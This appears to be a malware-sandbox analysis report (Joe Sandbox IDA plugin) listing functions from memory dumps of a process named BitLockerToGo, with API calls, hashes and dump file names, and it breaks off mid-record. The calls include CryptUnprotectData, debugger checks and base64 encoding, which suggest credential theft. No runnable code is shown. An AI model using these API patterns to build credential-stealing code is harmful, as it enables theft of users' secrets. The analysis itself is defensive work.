Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1850763859c5524de26945a456762cd5d7788b75d0c07f790471f8f8981caee0
Instruction ID: bc359deae4546f160639a5b684a210797261ff1ccedc9cbe697be80a0d1b6c85
Opcode Fuzzy Hash: 1850763859c5524de26945a456762cd5d7788b75d0c07f790471f8f8981caee0
Instruction Fuzzy Hash: 542192FC5032049FDB15FF69E688A8A3BF4BB09315F508579E90A8724CEBB85690CF45

Function 03007240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,03007C90,80000001,030161C4,?,?,?,?,?,03007C90), ref: 0300724D
RtlAllocateHeap.NTDLL(00000000), ref: 03007254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 03007281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,03007C90,80000001,030161C4), ref: 030072A4
LocalFree.KERNEL32(?,?,?,?,?,?,03007C90,80000001,030161C4,?,?,?,?,?,03007C90,?), ref: 030072AE

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: ea10255525cd56306e39c79b699dff975053581ee899882e5075d0afc806cd49
Instruction ID: e616e7c46e66148a1e7b2c038f01d53914c21279e7f059703be45c36046f3c1d
Opcode Fuzzy Hash: ea10255525cd56306e39c79b699dff975053581ee899882e5075d0afc806cd49
Instruction Fuzzy Hash: 0B0112B5A81208BBEB10DFD4DD4AF9D77B8EB44B04F108545FB05AB2C4D770BA008B65

Function 6CCE545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CCE8A4B

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 2dcf0ff206d22aadd797cac2f628f20328b4128a65ac5fa3bc83a6a20a9e61e4
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 99B1EA72E0121A8FDB14CF68CC91BD9B7B2FF9A314F1902A9C549DB791E7309985CB90

Function 6CCE542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CCE88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CCE925C

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 568cdc2e11b7bf8859f967f907db85f7c13efa634840c82a11c38bee8148f4c4
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 15B1C772E0110ACFDB14CF58CC91ADDB7B6EF89314F150269C949DBB85E730A989CB90

Function 03018EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,03005184,40000001,00000000,00000000,?,03005184), ref: 03018EC0

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 507efe91556b7b4503763d48604e01eb5d3e98c9c46da2bd459b12786e89502f
Instruction ID: 64d9cad7503527b98bd47b06947fbeb59203b6e0e1095bd34da727a3f7869217
Opcode Fuzzy Hash: 507efe91556b7b4503763d48604e01eb5d3e98c9c46da2bd459b12786e89502f
Instruction Fuzzy Hash: 70111874201208BFDB40DFA4E888FAB33EAAF89304F00D848F9198B240D735EA51CB60

Function 03009AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,03004EEE,00000000,00000000), ref: 03009AEF
LocalAlloc.KERNEL32(00000040,?,?,?,03004EEE,00000000,?), ref: 03009B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,03004EEE,00000000,00000000), ref: 03009B2A
LocalFree.KERNEL32(?,?,?,?,03004EEE,00000000,?), ref: 03009B3F

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 543fc51dd9a013b546453f6df1b220861910d71e1bfde9da69af78e57de0088b
Instruction ID: 020259e82f09d63907818ac852e29cd09fc125b72dec272144695887be10ad44
Opcode Fuzzy Hash: 543fc51dd9a013b546453f6df1b220861910d71e1bfde9da69af78e57de0088b
Instruction Fuzzy Hash: 0311A4B4241208AFEB10DF64D895FAA77B5FB89714F208058F9159F3D4C7B6A901CB50

Function 6CCB6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CCB6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCB6E1E

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 1ed5c4fd4758dcf3de778480772f92004f547a6eee4f1f1a16d16b2fb2a72439
Instruction ID: 2c28f4f53964c312642d1042ce15deff20f23a2e74ba1ead34a8c2f081492c38
Opcode Fuzzy Hash: 1ed5c4fd4758dcf3de778480772f92004f547a6eee4f1f1a16d16b2fb2a72439
Instruction Fuzzy Hash: 1EA18F706187858FDB15CF24C4947AEFBF2BF89308F05491DE88A97751EB70A849CB92

Function 03013720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0301E118,00000000,00000001,0301E108,00000000), ref: 03013758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 030137B0

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: ae54d92f90cdb39ef3a38678b9904639e8b57aed524a297feb4c8085694c5235
Instruction ID: fcd247ac03e5bf48f6dd7830db8bbb988c4ea074799012a00f69ea3e6a7c36b7
Opcode Fuzzy Hash: ae54d92f90cdb39ef3a38678b9904639e8b57aed524a297feb4c8085694c5235
Instruction Fuzzy Hash: 0841E974A40A289FDB24DB58CC95BDBB7B5BB48702F4081D8E618AB2D0D7B16EC5CF50

Function 6CCD85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CCD8C7C
__aulldiv.LIBCMT ref: 6CCD8DD7

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: f3ed4ed79f962984118f592232739b6c5372448fc76d142887d3b21db2c8004c
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: A2327131F001198BDF18CE9DC8A1BAEB7B2FB88710F16953AD506BB790D634AD45CB91

Function 6CCB5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CC84A63,?,?), ref: 6CCB5F06

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: b6c66343ec6b597a60b3cf3ff968b1ffc34eb9386b14f54dea1d2eb41a4505d7
Instruction ID: ef82dfe1e138ae6b0d92f2e0c17c10ba828aa625725eb572e638dda320a6ae05
Opcode Fuzzy Hash: b6c66343ec6b597a60b3cf3ff968b1ffc34eb9386b14f54dea1d2eb41a4505d7
Instruction Fuzzy Hash: A9C1B075D012598BCB04CFA5C5906EEFBB2FF8A318F28425DD8557BB44E732A806CB90

Function 03018B60 Relevance: 1.6, APIs: 1, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

GetSystemTime.KERNEL32(?,03549910,030205AE,?,?,?,?,?,?,?,?,?,03004963,?,00000014), ref: 03018B86

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID:
API String ID: 62757014-0
Opcode ID: 3ae9025845a1d0777aa489e8a0feba7f08abea8c2f8da972926613014c9cd532
Instruction ID: 6f7a296b8a1472460df7ea6eedf391f0357e2d75b3a46483ac3e2eee63a94160
Opcode Fuzzy Hash: 3ae9025845a1d0777aa489e8a0feba7f08abea8c2f8da972926613014c9cd532
Instruction Fuzzy Hash: 6711467AE022089FCB05EFA8D8919EF77B9EF98210F44C159E5166B250DF306A15CBB0

Function 0301CEEA Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001CEA8), ref: 0301CEEF

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d4d25b41a61a1fee257a527bf00730c033abe54baf59d138ef395e5928b87eca
Instruction ID: 0945a1b23e05f3b09d5f11e4d2124353e5e6bb6b16ef1894da03d51f5acee3cc
Opcode Fuzzy Hash: d4d25b41a61a1fee257a527bf00730c033abe54baf59d138ef395e5928b87eca
Instruction Fuzzy Hash: 679002613931004E9725A774990964D26D05F985067520860B512C9009DB58C0549912

Function 6CCE76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 5952d381215b48e35a9a75b1edaae97f16cf49d6ae5f822d4713676fb004bb37
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: ED32E971E006198FDB14CF99C890AADFBF2FF89304F548169C549A7746E731A986CF90

Function 6CCA0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: c96e37a84a7136aa27fc243c7dfb0e053e740c0ca71eb682cf6ab39e8a62b23d
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 8B221771E0461ACFDB14CF99C894AADF7B2FF88304F548299D54AA7705E731A986CF80

Function 6CCEAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

